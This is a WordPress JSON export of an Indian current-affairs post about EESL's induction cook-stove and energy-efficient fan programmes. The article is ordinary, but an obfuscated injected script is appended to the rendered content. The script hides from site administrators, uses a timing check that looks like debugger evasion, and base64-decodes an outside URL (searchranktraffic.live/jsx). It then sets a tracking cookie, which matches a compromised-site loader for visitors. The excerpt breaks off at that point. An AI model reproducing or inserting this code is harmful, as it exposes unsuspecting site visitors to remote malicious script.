{"id":210,"date":"2023-11-05T10:42:10","date_gmt":"2023-11-05T10:42:10","guid":{"rendered":"https:\/\/iasquest.com\/?p=210"},"modified":"2026-02-11T19:32:34","modified_gmt":"2026-02-11T19:32:34","slug":"in-news-national-efficient-cooking-programme-launched-to-promote-affordable-and-energy-efficient-induction-cookers","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/in-news-national-efficient-cooking-programme-launched-to-promote-affordable-and-energy-efficient-induction-cookers\/","title":{"rendered":"IN NEWS: National Efficient Cooking Programme launched, to promote affordable and energy-efficient induction cookers."},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><strong>Energy Efficiency Services Limited (EESL)<\/strong> launched its groundbreaking National Efficient Cooking Programme (NECP) and Energy Efficient Fans Programme (EEFP) recently.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>The National Efficient Cooking Programme (NECP)<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The National Efficient Cooking Programme (NECP) introduces induction-based cook-stoves, offering a <strong>cost advantage of 25-30%<\/strong> over traditional cooking methods, promising both energy savings and cost-effective cooking solutions.<\/li>\n\n\n\n<li>By deploying <strong>20 Lakh Induction cook-stoves across India,<\/strong> EESL seeks to <strong>reduce the environmental impact <\/strong>of cooking methods, ensuring cleaner air and improved health for citizens.<\/li>\n\n\n\n<li>EESL has also partnered with<strong> Modern Energy Cooking Services<\/strong> (MECS) for the large-scale deployment of induction cooktops.<\/li>\n\n\n\n<li>The deployment is expected to <strong>accelerate the acceptance<\/strong> and large-scale adoption of modern electric cooking devices in Indian kitchens.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">&nbsp;<strong>The Energy Efficient Fans Programme (EEFP)<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The Energy Efficient Fans Programme (EEFP) focuses on <strong>deploying energy-efficient BLDC fans<\/strong>, with the goal of distributing 1 crore ceiling fans.<\/li>\n\n\n\n<li>These initiatives not only reduce energy consumption and environmental impact, but also enhance consumer comfort while<strong> lowering electricity bills, creating a win-win situation for all.<\/strong><\/li>\n\n\n\n<li>The program for deploying one crore ceiling fans was initiated during the G20 Energy Transitions Working Group in Goa in July 2023.<\/li>\n\n\n\n<li>In continuation of this, EESL is inviting the first bid of 20 lakh fans, under a programme titled <strong>Energy Efficient Fans Programme (EEFP).<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>About Energy Efficiency Services Limited<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Energy Efficiency Services Limited (EESL), operating under the <strong>Ministry of Power<\/strong>, is a leading Energy Service Company.<\/li>\n\n\n\n<li>Their portfolio encompasses energy-efficient products like<strong> LED bulbs, tube lights, fans, air conditioners, streetlights, and electric vehicles.<\/strong> <\/li>\n\n\n\n<li>EESL&#8217;s transparent procurement processes, overseen by CVC, have enabled them to distribute millions of these products, resulting in substantial energy savings, reduced peak demand, and greenhouse gas emissions.<\/li>\n<\/ul>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 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